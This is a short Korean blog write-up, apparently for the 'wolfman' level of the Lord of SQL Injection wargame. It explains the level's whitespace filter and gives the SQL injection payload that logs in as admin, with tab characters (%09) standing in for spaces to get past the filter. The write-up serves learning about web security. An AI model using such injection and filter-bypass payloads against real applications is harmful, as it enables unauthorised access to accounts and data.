if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
먼저 주의깊게 보아야할 것 중 하나는 공백을 필터링 한다는 것이다.
if($result['id'] == 'admin') solve("wolfman");
그리고 id가 admin일시 문제가 풀리게 된다.
공백필터링을 제외하고 생각한다면
?pw=' or id='admin
이런식으로 보내면 될 것이다.
하지만 공백 필터링이 있으므로 우회를 해 주어야 한다.
https://binaryu.tistory.com/31
여러가지 방법이 있지만 작성자는 Tab 방식으로 공백자리에 %09 를 넣어 풀었다.
?pw='%09or%09id='admin
'Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL Injection - 7번 문제 Orge (0) | 2024.05.13 |
---|---|
Lord of SQL Injection - 6번 문제 DARKELF (0) | 2024.05.10 |
Lord of SQL Injection 4번 문제 - orc (0) | 2024.05.02 |
Lord of SQL Injection 3번 문제 - goblin (0) | 2024.05.02 |
Lord of SQL Injection 2번 문제 - cobolt (0) | 2024.05.02 |